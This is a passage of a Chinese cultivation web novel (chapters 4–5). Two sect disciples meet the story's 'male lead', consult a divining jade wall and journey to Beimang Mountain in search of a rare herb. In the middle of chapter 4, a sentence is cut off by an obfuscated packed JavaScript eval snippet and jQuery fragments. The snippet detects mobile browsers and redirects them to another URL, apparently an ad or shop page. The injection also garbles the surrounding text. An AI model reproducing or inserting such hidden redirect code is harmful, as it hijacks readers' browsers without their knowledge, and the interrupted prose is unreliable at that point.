那是一座很奇特的山。山体不高,却终年笼罩在一层薄薄的雾气中。山上种满了音韵树,风一吹,树叶就会发出各种悦耳的声音,像是有人在弹奏乐器。
“好漂亮。”池归忍不住赞叹。
连星珏降下飞剑,落在山门前。
门口守着两个青衣弟子,看到来人,上前询问:“两位是……”
连星珏取出令牌:“问道宗连星珏,奉师门之命,前来查阅照影壁。”
青衣弟子接过令牌看了看,神色立刻恭敬起来:“原来是文前辈的师侄。阁主吩咐过,持此令牌者,可直接进入照影阁。请随我来。”
两人跟着青衣弟子穿过一条长长的石径,两旁音韵树的叶子在风中摇曳,发出叮叮咚咚的声音,像是一首迎宾曲。
池归好奇地四处张望,忽然看到路边有一棵特别大的音韵树,树干上刻满了密密麻麻的字。
“那些是什么?”他问。
青衣弟子回头看了一眼:“那是过往客人的留言。有人在这里悟了道,有人在这里得了机缘,也有人在这里失了意、伤了心。他们走之前,会把想说的话刻在树上。”
池归走近看了看,那些字有的已经很模糊,有的还很清晰。
他看到一个名字旁边刻着:“此生无悔入问道,来世还做剑修人。”
是问道宗的前辈。
池归心里忽然涌起一股奇怪的感觉。
“小师弟?”连星珏在前面喊他,“怎么了?”
“没怎么。”池归收回目光,快步跟上。
——
照影阁在容音山的最高处,是一座通体晶莹的水晶殿。
阳光透过水晶墙壁折射出七彩的光芒,照得整座殿堂如梦似幻。
殿中央立着一面巨大的玉璧,约有三丈高、两丈宽,通体温润,表面流转着淡淡的光华。
“这就是照影壁。”青衣弟子介绍道,“只要手持令牌将灵力注入其中,心中所想之事便会在壁上显现。不过照影壁能显现的信息,取决于查阅者的修为和机缘。修为越高、与所查之事缘分越深,看到的信息就越详细。”
青衣弟子尽心竭力的介绍着,不过此时的连星珏和池归两个人没有一个注意力在青衣弟子的说明上,而是都看向了照影壁面前的两人。
确切的说是两人中的一人。
其中一人是个火红色头发、肤色白皙、面容姣好、气质妩媚的少女,这个人连星珏认识,名字叫凰妃音,其身负凰血,音术可通凤鸣,小小年纪就能引得百鸟朝凤,乃是容音阁这一代的少阁主。
而另一人,就是连星珏和池归一同看向的人了。
潇洒俊朗、长身玉立,一双桃花眼脉脉含情——正是系统疯狂明示警告的、他们共同的敌人、传说中的“男主”——沈逸风。
4. 第四只崽崽
第4章
池归下意识地往大师姐身后缩了缩。
他见过沈逸风——在系统的“原命运回放”里。那个画面里,沈逸风白衣染血,一剑穿心,而他自己的血染红了整个擂台。现在真人站在面前,虽然笑容温和,器宇轩昂,但池归只觉得后脊发凉。
连星珏也微微绷紧了身体。她的手不动声色地按上了剑柄,又强迫自己松开。
不能露怯。不能打草惊蛇。
——
也许炮灰和主角之间冥冥之中自有一种磁场,就在连星珏和池归看向沈逸风的时候,沈逸风也看向了他们。
只是相比于连星珏和池归对他早有认识,沈逸风明显对他们更加陌生。他微微侧头,用眼神询问旁边的少女。
凰妃音顺着他的目光看过来,当看到连星珏的时候,眼神明显一亮。
“星珏师姐!”本就妩媚的少女配上骤然绽放的笑容,显得更加明艳了。她提着裙摆小跑过来,脚步轻快得像一只雀鸟。
连星珏也含笑点头:“妃音师妹。”
容音阁虽然不是修真界最顶尖的三大宗门,却也只比三大宗门稍逊一筹。两宗弟子之间素有来往,无论是一起下秘境还是共同历练,彼此都有几分交情。
而连星珏,无疑是这些弟子中最耀眼的存在。
雪霜一剑无尘色,唯见清辉映玉颜——这是崇拜连星珏的人为她传唱的诗句。当然,连星珏本人觉得这诗句有些肉麻,她更希望别人的关注点在她的剑法上,比如“飒沓如流星,十步杀一人”之类,就很不错。
但对于所有认识连星珏的人来说,这两句诗描摹得刚刚好。星珏师姐的剑法,和她的人一样美。
所以凰妃音是连星珏的隐形小迷妹,这件事一点也不难理解。更别提连星珏曾经一次、两次、三次……很多次救凰妃音于水火之中。虽然每次被救的不止她一个,但也不妨碍凰妃音对连星珏的喜欢。
只是星珏师姐平时真的太宅了。每天都在问道宗里练剑,如果不是宗门任务,连约都约不出来。所以这次突然在自家宗门见到,凰妃音惊喜极了。
“星珏师姐你怎么在这里?是有什么事情吗?能不能带我一起?”凰妃音激动地绕着连星珏转了一圈,“师姐我和你说,我最近进步很大,已经可以演奏完整的惊凰曲了!这次一起出任务,一定不会给你拖后腿的!”
连星珏眨了眨眼,颇有些不知所措。她之所以平时和其他人接触少,也有这方面的原因——她实在不知道该如何应对别人的热情。
小池归看了看神色愈发清冷、实则迷茫尴尬的大师姐,又看了看满眼都写着崇拜的凰妃音,拉了拉大师姐的袖子,软糯糯地开口:“大师姐,这位是?”
连星珏心里松了一口气,快速道:“这是容音阁的凰妃音,快叫师姐。”
随即又对着凰妃音道:“这是我师尊最小的弟子,池归。”
凰妃音低头看向小池归。小池归乖乖叫了一声“师姐”,凰妃音也回了一声“师弟”,只是相对于对连星珏的热情,这一声就平静得多了——不过是一个跟着师姐来的小孩子罢了。
这时沈逸风向前走了一步。
凰妃音这才想起来她这边还有一个人,连忙介绍道:“星珏师姐,这位是沈逸风,散修。他帮三师叔祖寻回了一枚很重要的令牌,阁里允他来照影壁查验一次作为答谢。”
连星珏和池归相视一眼,心下了然。
没想到这位“男主”在宗门大比前一个月,会出现在容音阁,还来查看照影壁。不知道和一月之后的宗门大比有什么关联。
不过眼下他们还是素不相识的陌生人,所以连星珏只是礼貌地点了点头。池归也跟着拱了拱手。
沈逸风笑容淡淡,显得十分平易近人。他看了看连星珏,目光在她面纱上停留了一瞬,随即移开,温声道:“久仰问道宗连师姐大名,今日得见,三生有幸。”
连星珏微微颔首,没有接话。
沈逸风也不在意,又道:“两位可有要紧事要询问照影壁?若是着急,我可以稍等片刻。”
若是不知道原命运,连星珏或许会被这份谦让打动。但此刻,她只觉得自己中的情毒隐隐作痛——系统说过,这毒与他有关。虽然不知道他是无心之过还是有意为之,但连星珏绝不敢掉以轻心。
“不必。”她的声音比平时更冷了几分,“道友先请。”
沈逸风的笑容微微一滞,随即恢复如常,温和道:“好,那我就愧受了。”
他转身走向照影壁,凰妃音也跟了上去。临行前,凰妃音回头冲连星珏甜甜一笑:“星珏师姐等我,很快就好了!”
连星珏勉强扯了扯嘴角。
——
照影阁的大门在两人身后缓缓关上。
池归拉了拉连星珏的袖子,压低声音:“大师姐,你没事吧?”
连星珏摇摇头,“没事。”带着他走到一旁的回廊里坐下。
池归还是有点心神不安,虽然早就咸鱼不怕死了,但是被系统吓过那么多次,看到沈逸风总感觉他下一秒就会笑眯眯的一剑捅过来。
然后他就会华丽丽的当着很多人的面死掉。
他真的不想啊——就算要死,起码也要等到一个月以后宗门大比吧。
当然——他看了看自己的身边——他现在有师姐了,就算为了师姐,他也不能死。
池归正这样想着,脑袋就抚上一张温暖的手掌,只听到师姐的声音温和又坚定,“别怕,师姐在,师姐不会让你有事的。”
小池归鼻头一酸,随即被拥入一个温暖的怀抱中,清冷的声音从头上传来,“相信师姐。”
“嗯。”池归闷声道。
没有谁比他更相信师姐了。
只是,“沈逸风会不会认出来我们?”
连星珏摇头,“不确定。”
虽然系统说沈逸风就是害她中了情毒之人,但是沈逸风究竟是有心之过还是无心之失,她也不能确定,就算沈逸风没有表露出什么异样来,但是能做出暗中下毒这种事的人本就不会是什么光明磊落之人,有些心机城府再正常不过。
所以连星珏也不能确定,“我们得小心一点。”
小池归严肃了神色,“嗯。”
“就是不知道沈逸风会用照影壁查什么内容,不会和我们有关吧?”小池归有些忧心忡忡。
连星珏摸了摸小师弟的头发,宽慰道,“没事,概率很低,就算真的和我们有关——兵来将挡,水来土掩,你大师姐可是很厉害的,不用担心,天塌下来还有我呢。”
窝在大师姐温暖的怀抱里,小池归不得不承认,大师姐说的很对,他真的很有安全感。
毕竟——这可是整个修真界年轻一辈公认的第一人诶,整个年轻一辈,只有寥寥几人能看到大师姐的背影,至于并肩?不存在的。
想到这里,池归安下心来,只是随着时间一分一秒过去,原本安定的心也逐渐焦躁起来。
“都一个时辰了,他们怎么还没有出来?”池归站起身来回踱步,显然等得有些不耐烦了。
倒是连星珏脸色霜冷如雪,依旧淡定,“也许沈逸风和照影壁的缘分比较深刻吧?”
毕竟照影壁这个东西一看修为,二看缘分,大家修为都大差不差,没可能能查看这么久,那么不是修为关系,显而易见就是缘分了。
“那我们的缘分深不深?”池归有点好胜心。
只可惜面对小池归期待的神色,连星珏的语气却有些迟疑,“这个……我也不知道。”
连星珏没说的是,她心里也没有把握。
毕竟命运是最不可捉摸的事情,偏偏,她又是命运既定的炮灰,可见在缘分这种莫名其妙的事情上,即使不服输,但也有很大概率是不如既定的所谓男主的。
没得到想要的答案,小池归也没有灰心,反而安慰起了大师姐,“没关系的,我相信我们一定行的,既然这个系统莫名其妙的发布了一个这样的任务,总不会没有完成的可能的,如果真这样的话……大师姐你也不用担心,我会自己和它同归于尽的。”
反正系统能量已经不足了,它若真的不急,也不会把所谓的任务共享,而它如果急了——这样唯一的一根救命稻草还不抓住,那就等着能量耗尽沉眠吧。
反正小池归是不可能做任务的,大师姐可是它唯一的希望了。
系统在内心深处听到了池归的话,忍不住默默在心里面翻了个白眼,不过和宿主讲道理是讲不通的,这么多年了,它再不甘心也习惯了。
怎么说呢,将就过吧,也解除不了灵魂绑定不是?
连星珏心里有被小师弟安慰到,两个人在连廊的栏杆上又足足等了一个时辰,直到日光西斜,小池归都已经闭上眼睛迷迷糊糊打起了瞌睡,照影阁的门才从里面打开。
连星珏立刻起身,轻轻拍了拍靠在自己肩头的小师弟。
小池归懵懵懂懂的睁开眼,看到大师姐严肃的神色,立刻清醒过来。
转过头一看,果然,凰妃音和沈逸风已经从照影阁中走出来了。
凰妃音脸上的兴奋之色掩藏不住,脚步轻快得像要飞起来。而沈逸风虽然表面上依然温和淡然,但眉宇间那股志得意满,连池归都看得出来。
看来这一趟照影壁之行,两人收获颇丰。
“星珏师姐!”凰妃音小跑过来,“等久了吧?不好意思,逸风师兄与照影壁缘分很深,看到的画面比较多,所以耽搁了些时间。”
“无妨。”连星珏淡淡道,“妃音师妹看起来很高兴,想必也有收获?”
凰妃音脸一红,偷偷看了沈逸风一眼,小声道:“还好啦……就是知道了一些事情。”
连星珏没有追问。她看得出凰妃音对沈逸风的喜欢,毕竟照影壁之前,凰妃音对沈逸风的观感还是很平常的,但是照影壁之后,不仅沈逸风变成了逸风师兄,就连眼神和说话的语气都变了,带着羞涩与崇拜。
看来照影壁映照了一些不同寻常的事情,或许是两人的未来?
难道沈逸风最终会成为凰妃音的道侣吗?可是沈逸风最后进的不是东皇宫吗?东皇宫可排外得很,他们家向来只允许道侣进去,可没见里面的弟子赘入其他宗门的。
不过想太多也是无用,而且,未来既已知晓,未必不能改变,她首要要做的,是完成系统的任务。
“妃音师妹,我们还有事,就不多留了。”连星珏说着,就要往照影阁里走。
“星珏师姐!”凰妃音忽然叫住她,犹豫了一下,从袖中取出一枚小小的玉牌递过来,“这是我的传讯玉牌。师姐若是得空,一定要来找我玩呀。”
凰妃音的眼神里带了担忧,连星珏怔了下,也许妃音已经知晓些什么了,但连星珏没有多说,也没有多问,只是淡定的接过玉牌,点了点头:“好。”
凰妃音又看了一眼她身边的小池归,犹豫了一下,也从储储物戒里掏出一枚音石递过去:“小师弟,这个给你。注入灵力可以听到容音阁的曲子,很好听的。”
池归接过音石,乖巧道:“谢谢师姐。”
凰妃音笑了笑,又看了连星珏一眼,这才跟着沈逸风离开。
沈逸风走之前,回头看了连星珏一眼。目光在她面纱上停留了一瞬,又移到她身后的小池归身上,这才微微一笑,转身离去。
池归被他那一眼看得浑身发毛,眉头紧锁,下意识攥紧了大师姐的袖子。
连星珏眯了眯眼睛,拍了拍小池归的脑袋,安抚性的拂过他的额头,“没事的,走吧。”
看来这个沈逸风是知道些什么了,即使原本不知道,但是经过照影壁一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385913|200248||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
事后,应该也知道她是谁了。
看来日后若再见到,要多加小心,万不能留手了。
——
照影壁前,只剩下连星珏和池归两人。
和沈逸风这种需要看管并共享搜查内容的外人不同,问道宗在容音阁还是有几分面子的,更别提文师叔和容音阁长老的交情,连星珏和池归自然可以保全自己的隐私。
连星珏深吸一口气,虽然内心早就告诉自己要淡定,但是事到眼前,她才发现自己还是有些紧张。
她拿出文师叔给予的令牌,回想着青衣弟子教过的方法,将令牌贴在照影壁上,缓缓的输入灵力。
玉璧表面泛起涟漪,像是被投入石子的湖面。光影流转,渐渐汇聚成模糊的画面。
池归紧张地盯着玉璧,大气都不敢出。
然而,画面只是闪烁了几下,就黯淡了下去。
连星珏皱眉,又试了一次。
这一次,玉璧上终于显现出几行字——
【轻灵草,上古灵草。生于九幽绝地,困于至浊至邪之所。百年生一缕,千年生一簇,无形无质,无影无迹。最后一次现世,距今三千七百年。】
然后就没了。
连星珏不死心,又试了第三次。
这一次,画面晃动得更厉害,只勉强浮现出几个字——
【欲寻轻灵……须……北邙……】
后面就再也看不清了。
连星珏收回手,额头已经渗出细密的汗珠。
“只能看到这些了。”她有些失望。
看来她果真与照影壁没什么缘分。
看出大师姐的失落,池归急忙安慰道,“没关系的大师姐,你能看到这些已经很厉害了,要知道你现在的修为只是金丹期而已,文师叔修为那么高,知道的消息也没有比你多很多,你已经很棒了。”
连星珏看向身边的池归,见他正眼巴巴的安慰自己,心思一动,忍不住道,“要不你来试试?”
池归有些迟疑,“我……吗?”
连星珏点头,笃定道,“就是你。”
“照影壁的信息除了与修为有关,就是与缘分有关了,虽然你的修为不高,但或许你缘分深厚呢?”见池归迟疑,她继续道,“试试吧,没有信息也没关系的。”
总归是份希望。
见大师姐希冀的看向自己,池归也不再犹豫,虽然对自己有些怀疑,但是大师姐说的没错,试试也没什么,所以他也学着大师姐的样子,手持令牌,将令牌按在照影壁上,输入灵力。
而就在池归输入灵力的一瞬间,原本只有淡淡涟漪的照影壁忽然光芒大作,池归只觉得手中的令牌仿佛有着无尽的吸力,将自己身体里的灵力不断的抽取出来。
而就在这样的体验中,池归仿佛看到了什么。
那是一座黑色的山——山丘上布满了大大小小的尸骸,无尽的死气从一个黑色的大洞中蔓延而出,而就在那山洞的最里面,黑气汇聚成潭之处,居然有一簇光芒在其中闪烁着,那光芒充满了生机和灵气,与这满山的死气格格不入,截然不同。
而再仔细看,那簇光芒闪烁间,分明是一株草的模样,只是转瞬间,又会再次变成光芒闪烁着,却怎么也无法逃离这黑气包裹的洞窟。
忽然,一道人声传来,那声音有些远,模糊得不太真切,就在池归还想要看更多的时候,模糊的画面忽然碎裂,池归被一股力量弹开,瘫倒在大师姐的怀里。
直到此时他才发现,自己身体里所有的灵力都已经空空如也了,虽然他全身的灵力也只有练气三层,但那已经是他这个噬灵绝脉体所能达到的最高修为了。
“你怎么样?”连星珏看着怀里脸色苍白的池归,紧张问道。
而池归咽下嘴巴里被大师姐塞进来的熟悉的药丸,原本干涸的灵脉重新被灵力滋养,他宽慰道,“没事,大师姐,我好像知道轻灵草在哪里了。”
连星珏见池归的脸色逐渐红润,身体里的灵力也渐渐恢复了,看起来不像是有什么问题的样子,这才松了口气。
她可是要救小师弟摆脱炮灰命运的,可不是要害小师弟早早炮灰,要是小师弟因为照影壁的事情受到了伤害,连星珏一辈子都不会原谅自己。
好在,小师弟好像没事。
见大师姐一副心有余悸、连轻灵草都不在意了的模样,池归转过身,抱了抱她,“没事的,没事的,我真的好好的。”
“嗯。”连星珏漾起一抹笑容,没再过度紧张。
池归这才放松心神,将自己看到的说给大师姐听。
“我方才看到了一座山,应该是北荒地域的北邙山,那里是著名的上古乱葬岗,很符合九幽之地的地理特征,而就在北邙山的山北侧,有一个冒着死气的洞窟,洞窟里死气凝聚成潭水,而潭水之中,就是轻灵草,我看到它了。”
连星珏恍然,“原来我第三次看到的文字,指的是北邙山。”
“嗯。”池归点头同意,随后皱起眉,有些迟疑道,“在画面的最后,我好像听到了有人说话的声音,只是声音有些模糊,我没有听清楚到底说了什么。”
也许是鬼魂的喑语,也许真的是有人说话的声音,而这声音,如果是他和大师姐的,倒还好说,说明他们最终到达了北邙山,并成功找到了轻灵草,但若不是他和大师姐的……池归的脸色有些凝重。
那说明,有人先他们一步找到了轻灵草,亦或者说,他们这一次北邙山之行,注定会有人与他们争抢。
连星珏的神色也有些沉凝,池归能想到的,她自然也想得到。
连星珏有些严肃道,“我会多做准备的。”
如果这一次北邙山之行注定不平静,那她也要尽最大的努力,将一切不平事,都为小师弟压下来。
无论在哪,无论是谁。
5. 第五只崽崽
第5章
既然已经知道了具体的地点,自然要先做好准备。
连星珏自己倒是没有什么太多好准备的,对于剑修来说,一把剑足矣。
但是对于小池归,连星珏要准备的东西就多得多了。
北地苦寒,不比中部舒适,四季如春,连星珏自己是金丹期,自然不惧寒暑,但是小池归还只是个炼气期呢,再加上他的身体格外孱弱,所以寒暑不侵的法衣是必须的、冬暖夏凉的暖玉也是必备的,以及各种各样的保暖物品,烈火之羽,地心火莲,宸熙火精……连星珏足足准备了一整个储物袋。
连小池归自己都看得目瞪口呆。
而连星珏还尤嫌不够,又去找了问丹峰的文师叔,拿了一大批的丹药,光是保命丹药就带了足足五瓶——将她自己这么多年做任务攒下来的贡献都用的差不多了,而文师叔见她拿得多,还又送了她几瓶各种各样效果的丹药,什么解毒的补充灵力的增加体力的,连星珏也来者不拒,统统拿下。
而她仅剩的那一些贡献,则都被拿去问器峰做保命装备了,她是剑修,剑修别的或许不硬,但是剑绝对是最硬的,所以连星珏也无需其他的装备。
但小师弟可不一样。
她需要给小师弟打造一副最硬的龟壳,以防止小师弟受伤。
当然,除了最强的防御之外,小师弟还需要有最快的速度,所以速度系的飞舟是必要的,为此连星珏还拿出了当年师尊送她的礼物——一份天鹏羽,那是整个修真界速度最快的鸟类,更别提这份天鹏羽还是师尊从一位化神期的妖修身上砍下来的,质量就更高了。
所以,做出来的飞舟速度也一定更快。
这样,不仅出事的时候小师弟能逃得更快,他们在去北荒赶路时,也能更快的到达。
毕竟,去北荒虽然有传送阵,但也只能传送到荒原边界,再往里,想赶到北邙山,需要的可就不是传送阵,而是正正经经的飞舟了。
而在最快的速度之外,小师弟最需要的,就是真正保命的保险了。
所以,连星珏为池归求取了一份定位传送符。
只要捏碎,无论在任何时间,任何地点,只要困住小池归的灵力不高于整个问道宗,池归都能瞬间回到宗门内部,整个回归过程堪称无敌。
而这样离谱的绝对保命的护符,当然不是随随便便就能得到的——这是师尊当年走之前留给她的,毕竟他们是师徒,但因为池归的缘故,剑尊常年不在宗门内,对连星珏的教导也不多,这枚护符算是对连星珏的补偿。
毕竟,虽然相处不多,但他对连星珏反而是最放心不下的,这个大弟子完美的继承了剑修的脾气,但过刚易折,锋芒毕露总是惹人注意,他希望这枚护符可以在他不在的时候保她一命——而只要有命在,他完全相信剑修的坚韧程度,他的弟子会走出来的。
而现在,这枚护符挂在了小池归的脖颈上。
就这样,小池归从头到脚被武装到了牙齿——是真的牙齿,小池归连牙齿里都被塞了几小块极品灵石以及一枚隐藏的储物扣——就怕他出意外。
而他们又顺路去丁师叔的灵膳堂拿了好些丁师叔秘制小零食和好几天的饭食之后,这才一起出了宗门。
当终于走出问道宗的时候,小池归整个人都瘫在了天鹏舟上。
“怎么了?”连星珏看着圆滚滚的一看就装了很多东西的小师弟,越看越满意,对,她的小师弟就该这样,拥有世界上最好的一切!
而小池归呢?听着大师姐明知故问的话,整个人都不好了,“大师姐,你真的不觉得,我这样打扮有点不合常理,并且带的东西真的有点多吗?”
连星珏严肃摇头,“没有不合常理,而且真的不多。”
这哪里多了?要不是囊中羞涩,这几年的贡献度不够,她还会准备更多呢!
而小池归看着大师姐一本正经,完全不觉得有任何问题的模样,彻底的瘫倒,算了,就这样吧,大师姐居然是认真的,自己在大师姐眼中究竟是个什么形象啊,唉。
谁让这些都是属于大师姐的爱呢?
天鹏舟的速度就是快,原本从问道宗到传送阵,飞剑起码要一天一夜的,但是用了天鹏舟,不到半天,两人就到了传送阵。
传送阵的看守者是三大宗门的人,池归和连星珏只是出示了自己的弟子令牌,就直接坐上了传送阵,而若是散修,或者其他门派的人,则需要一颗上品灵石才行。
连星珏经常出任务,早就对这套流程熟悉了,快速的坐在传送阵上,并细心的用灵力护住小池归,待到一阵天旋地转后,两个人就到了一个完全陌生的地方。
这里的风很大,呼啸的北风刮在脸上,将柔嫩的肌肤刮得生疼,连星珏迅速的用头纱护住小池归,将风沙隔绝在外。
地面上是半冻的冰雪,和裸/露在外的黑色的土地,土地上稀稀拉拉的匍匐着几株黑色的草,不知道是什么品种,生命力倒是顽强。
小池归吸了一口带着冰雪和泥土气息的北风,有些震撼道,“这就是北荒吗?”
连星珏点了点头,“是的,这就是北荒。”
只有真正的到达这里,才知道偌大的北域为什么会以“荒”字命名,那种荒凉中带着死寂气息的氛围,会让人一瞬间觉得天地之无垠,而自身之渺小。
“这里居然还有生命。”池归蹲下身,抓了几把雪——这是他在这个世界上第一次看到雪,当从雪粒中看到那几抹几乎纯黑的墨绿色苔藓的时候,池归忍不住发出感慨,“生命真的太顽强了。”
这样终年几乎看不到阳光,茫茫天地浩瀚无垠,冷酷又广袤的地方,居然也有这样柔软的生命。
连星珏也拔了几根没见过的草放进了灵药袋,“是啊,生命从来都是奇迹,所以,无论如何,我们都不能放弃自己。”
“北风酷寒尤且不息,我们又有什么理由在远比这舒适百倍的地方,轻而易举的放弃自己来之不易的生命呢?”这是连星珏对池归说的话,也是对她自己说的,无论这一次结果如何,她都不会屈服于命运,不会轻易放弃自己的生命,更遑论是为了一个人渣自杀。
这一刻,池归也想到了很多,想到大师姐的命运,自己的命运,想到为他奔波努力的剑尊父亲,想到为他操碎了心的各位师叔,想到了容音阁里那位剑修前辈的话——“此生无悔入问道,来世还做剑修人”,想到男主沈逸风并没有长三头六臂的模样……
或许,他真的可以试试,挣出命运的枷锁。
随后,某个正想要挑衅一下命运的小乌龟,就被冻得打了个哆嗦。
而正一脸坚毅稳重向命运赌咒发誓的大师姐霎时花容失色,急急忙忙从储物袋里掏出了好几条暖巾和好几块暖玉,“快带上,千万别着凉!”
要是没有被北邙山击垮,反而先被北荒的寒风击垮了,那她可就真的太失职了,以后就不要说带小师弟出门这种事,连她自己都没脸出门了。
小池归:“……”咳,还是稳重点,多喝热水吧。
两个人没再在北荒的荒原上瞎转悠,而是一齐坐在了飞舟上,开个恒温模式,大师姐负责输入灵力火力全开的驾驭天鹏舟,小师弟嘛——负责煮水煎茶烹饪灵食,将他们两个伺候得舒舒服服吃饱喝好。
这怎么不算是一种分工明确呢?
这样的日子过了足足一天。
荒原的景色永远一成不变,冰雪、黑土、枯萎的植物和路边偶尔的尸骨,无人知晓这些尸骨从何而来,又为何陨落在此,只是当发现的时候,就已然成了荒原苍凉背景色的一部分。
再广袤的景色,一天也快要看腻了,就在池归想着,要不要玩点其他的,或者睡一觉的时候,遥远的天际线,终于出现了一抹纯黑。
连星珏精神一振,加快了速度,果然,再靠近些,就看到了那遮天蔽日的黑色雾气,以及在雾气中影影绰绰令人惊惧的黑影。
那是一座几乎占据了整个荒原北方的大山,尽管早就对这个地方有所了解,甚至池归还曾在记忆里见过这座大山,但是当真正的面对这座山的时候,连星珏和池归还是不禁悚然。
真正面对它的时候,远比在文字描述中、在模糊画面中,要可怖得多。
那森然的氛围和远在外围就能感知到的刺骨的危机感,这一刻,让连星珏都不由得有些动摇了,他们真的能够征服这座大山,取出其中的宝藏吗?
但是当她转过头,看到正依赖的拽住她的衣袖的小池归的时候,那股动摇在不知不觉间却悄然消散了。
就算难又怎样,就算拼上性命又怎样,她不是早就做好准备了吗?
改写命运,哪有什么简单的,那从来都不是一件可以轻而易举做到的事,而她所能做的,不过是尽自己最大的努力,不留遗憾,全力以赴而已。
为了自己,也为了小师弟。
无怨无悔。
她深吸一口气,重新打起精神,牵住那只依赖自己的小手,振奋道:“出发!”
目标——北邙山,轻灵草。
——
越靠近北邙山,北荒的风就越大,空气中黑色的雾气已经遮蔽了视线,大片的暗色雪花从空中落下,连星珏才知道,北邙山里,居然还在下雪的。
只是这雪,是纯黑色的,充斥着不祥和死气。
几声枭鸟的鸣叫哀嚎着划破寂静,在这异样的气氛里,更显诡谲。
毕竟荒原无生命,除了苔藓和草籽,以及枯萎的不知名小草,连星珏和池归这一路来未见任何生物,反而在这鬼气森森一看就不祥的北邙山,听到了夜枭的叫声,岂不诡异?
忽然,一道声音从不远处传来,连星珏警惕的将池归挡在身后,看向不远处。
却只见一堆残破的骨架散开,几只正吱吱叫着的红着眼睛的老鼠在骨堆里四散跑出,随即隐没在另一堆骨头里消失不见。
“是老鼠。”小池归抚了抚自己饱受惊吓的胸膛,随即拍了拍连星珏的后背,大模大样道,“不怕哦大师姐,有我在。”
连星珏无语的看了眼小池归,是他自己在怕吧,不过她也没拆穿,只是“嗯”了一声,就将小池归抱得更紧了些。
小池归的视野立刻变高,看到了更多。
这里不仅有荒原里没有的动物,像是夜枭、老鼠,还有很多荒原里没有的树,就算枝干大多歪歪扭扭不成形状,但好歹是树,荒原里,可是一棵树都没有的。
不知道是被北风吹断了,还是太过苦寒不适应,也或许是荒原本就没有树,但无论如何,北邙山似乎已经具备了最基础的生态环境了,尽管这环境有些过分诡异了。
小池归又看向更远方,但是雾气迷蒙,黑雪漫天,刚才看到的,已经是他能看到的极限了,再远些,就实在看不清了。
连星珏拿出司南玉盘,这是问器峰出品的,质量很好,只是这质量很好,在绝大多数场合、甚至秘境里都能用的司南,此刻指针却在玉盘上疯狂旋转,一看就是被干扰用不了了。
池归发现了,有些担忧的问道,“司南不管用,我们该怎么办?”
随便找一个方向吗?拼一下他极品炮灰的运气?又或者将系统薅出来?
就在池归想着怎样威胁一下自己那没能量的系统的时候,连星珏面容淡定道,“没事,我还有其他的。”
说着,在灵药袋里拿出一个小巧的白玉一般的小虫子。
“这是司玉蚕,能吞食玉石,吐出玉丝,常用来编织法衣。”
司玉蚕十分稀少,吐出的玉丝也很珍贵,在法衣界还是很受欢迎的,只是,现在拿它做什么?池归的目光透着疑问。
看出池归的疑惑,连星珏解释道,“当然,司玉蚕还有个隐藏的功效,或者不止是司玉蚕,是所有的筑基期以上的蝶系幼年体都有的功效,那就是指引方向。”
“而我们要做的,就是先用玉丝编织一个蚕茧,将它封进去。”连星珏一边说一边做,很快,一个小巧的玉蚕茧就做好了,小小的玉蚕在里面疯狂的滚动着。
“接着,放在地上。”地面上的玉蚕茧开始不停转动,但很快,发现自己没有被控制之后,玉蚕茧就像是选定了什么一样,迅速的向着一个方向蛄蛹着,十分坚决。
然后它就被拿了起来,再次放到了灵药袋中。
“方向找到了。”连星珏笑眯眯,“司玉蚕刚才走的方向,就是北方了。”
池归当真是大开眼界,万万没想到,还有这种寻找方向的办法。
看出小池归的崇拜,连星珏也不介意和他说更多修真界的小窍门,小师弟总要出去闯的,万一以后她不在他的身边,小师弟也要懂得更多的知识,“除了司玉蚕之外,还有天瑚枝,这是海里的一种珊瑚枝条,可以感知水脉的运行方向,枝头显现光点的方向就是月亮的方向,也就是南方,我这里有一节,你拿着。”
说着,从储物戒里将天瑚枝掏了出来塞给小池归,“当然,万一你流落到没有水汽,感知不到水脉的地方,还有山火琥珀,这也是一种可以找寻方向的东西,琥珀里面封印了一小段活跃的地脉,所以可以天生感知到地脉的流动方向,摸一摸,哪一端更炙热,就说明那边就是北方,也就是地脉之极。”
然后,就又将山火琥珀从储物袋里拿出来,再次塞进小池归的储物戒里。
池归:“……”大师姐准备的怪齐全的哈。
虽然拿了很多了,但池归还是忍不住问道,“那要是万一流落到既没有水脉也没有地脉的地方呢?”
连星珏眨眨眼,看向自家的小师弟,“世界上不存在既没有水脉也没有地脉的地方,如果真的有,那只能是人为的秘境或者虚空,人为的秘境里,方向是没有用的,司玉蚕也不起效果,只能看秘境主人想做什么,又设定了什么,至于虚空嘛——小师弟,如果真到了虚空,你也不用找方向,只要记住一件事,立刻将护符捏碎就可以了,虚空的撕扯力太大了,大师姐都撑不过三秒,你去了,一秒都撑不到,不立刻离开,直接就会死亡,就别提找什么方向了。”
池归有些讪讪,原来这样啊。
然后他就被大师姐提起了耳朵。
“说,你之前的修真常识课是不是没去上?你上次年末考核得了什么评价?问学峰的周师叔怎么说?我上次去找周师叔他借口不见,是不是你干的?”连星珏一边揪耳朵,一边目露怀疑,很显然,小池归的没常识让连星珏起疑心了。
池归心里暗暗叫糟,万万没想到,只不过一句询问,却被大师姐敏锐的察觉到这么多。
他愈发讪讪,“上了啊,我经常去上课的,年末考核成绩挺好的,周师叔也说我很聪慧,周师叔不见你,可能在忙吧……”小池归低着头,不敢直视大师姐的眼睛。
连星珏眯起了眼睛,目光犀利的看着怀里原本以为的乖乖懒崽,现在看,完全是个小滑头,“修真常识课一旬几天,共有几节,你去上了几节课?年末考核评价是甲还是乙,或者丙丁?问学峰的周师叔评价你的原话是什么?要完整的。最后,真的和你没关系,是周师叔在忙吗?”
小池归不禁瞠目,大师姐怎么问这么多这么细致,这要他怎么回答嘛!
就在小池归拖拖拉拉想着怎么样才能萌混过关的时候,连星珏看出了小崽崽的不老实,揪着的耳朵稍微用了一点力,小池归立刻乱叫投降。
“我说我说,大师姐手下留情。”小崽看似委屈巴巴的可怜极了,实则连星珏早就看到他乱转的眼睛透出的小机灵了。
见大师姐不为所动,小池归最终也只能老实躺平,认罪认罚了。
